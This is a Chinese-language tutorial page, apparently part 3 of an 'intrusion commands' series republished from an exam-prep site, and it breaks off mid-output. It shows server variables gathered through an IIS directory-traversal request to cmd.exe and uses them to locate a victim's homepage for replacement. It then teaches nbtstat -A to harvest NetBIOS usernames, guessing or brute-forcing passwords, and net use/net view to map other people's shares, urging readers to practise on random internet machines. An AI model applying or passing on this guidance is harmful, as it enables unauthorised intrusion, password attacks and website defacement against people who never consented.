思科认证:入侵命令详解3

导读：
　　
　　COMPUTERNAME=PENTIUMII
　　ComSpec=D:/WINNT/system32/cmd.exe
　　CONTENT_LENGTH=0
　　GATEWAY_INTERFACE=CGI/1.1
　　HTTP_ACCEPT=*/*
　　HTTP_ACCEPT_LANGUAGE=zh-cn
　　HTTP_CONNECTION=Keep-Alive
　　HTTP_HOST=当前登陆者的IP，这里本来是显示我的IP，被我删除了
　　HTTP_ACCEPT_ENCODING=gzip， deflate
　　HTTP_USER_AGENT=Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt)
　　NUMBER_OF_PROCESSORS=1
　　Os2LibPath=D:/WINNT/system32/os2/dll;
　　OS=Windows_NT
　　Path=D:/WINNT/system32;D:/WINNT
　　PATHEXT=.COM;.EXE;.BAT;.CMD
　　PATH_TRANSLATED=E:/vlroot主页放在的地址，只要你看到PATH_TRANSLATED=的后面就是主页的存放地址。这里是E:/vlroot
　　PROCESSOR_ARCHITECTURE=x86
　　PROCESSOR_IDENTIFIER=x86 Family 6 Model 3 Stepping 3， GenuineIntel
　　PROCESSOR_LEVEL=6
　　PROCESSOR_REVISION=0303
　　PROMPT=$P$G
　　QUERY_STRING=/c+set
　　REMOTE_ADDR=XX.XX.XX.XX
　　REMOTE_HOST=XX.XX.XX.XX
　　REQUEST_METHOD=GET
　　SCRIPT_NAME=/scripts/..%2f../winnt/system32/cmd.exe
　　SERVER_NAME=XX.XX.XX.XX
　　SERVER_PORT=80
　　SERVER_PORT_SECURE=0
　　SERVER_PROTOCOL=HTTP/1.1
　　SERVER_SOFTWARE=Microsoft-IIS/3.0对方使用IIS/3.0
　　SystemDrive=D:
　　SystemRoot=D:/WINNT
　　TZ=GMT-9
　　USERPROFILE=D:/WINNT/Profiles/Default User
　　windir=D:/WINNT
　　
　　粉红色的那行就是对方主页存放地址，这里告诉大家一个技巧，很笨的技巧啊，不过只能用这个方法才能100%的找到主页的名称，当你DIR这个目录时，一定会看到很多文件，你可以把所有文件在浏览器这样输入XX.XX.XX.XX/文件名，这样只要看到和XX.XX.XX.XX看到的也面一模一样，那么这就是主页的名称了。
　　---------------------------------------------------------------------------------------------------------------------------
　　7：nbtstat
　　如果你扫到一部NT的机子，他的136到139其中一个端口开了的话，就要用这个命令得到用户了。顺便告诉大家这是netbios，得到用户名后就可以猜猜密码了。例如比较简单的密码，密码和用户名一样的，都试下，不行就暴力破解吧！
　　现在网上很多NT的机子都开了这些端口的，你可以练习下，我们来分析得到的结果。
　　命令是
　　nbtstat -A XX.XX.XX.XX
　　-A一定要大写哦。
　　这个我认为大不大写没有太大差别，用处还是一样的。
　　之后用net use //对方IP 连接一下！
　　net view //对方IP 查看对方共享文件夹
　　net use X: //IP/对方共享文件 映射对方共享文件夹成为本机的X盘
　　这就是139端口的基本用法！不过前提是必须对方开共享！
　　netstat -n看看谁连接你
　　-----------------
　　下面是得到的结果。
　　NetBIOS Remote Machine Name Table
　　Name Type Status
　　---------------------------------------------

本文转自
http://www.exam8.com/computer/Cisco/jiaocheng/200506/14523_3.html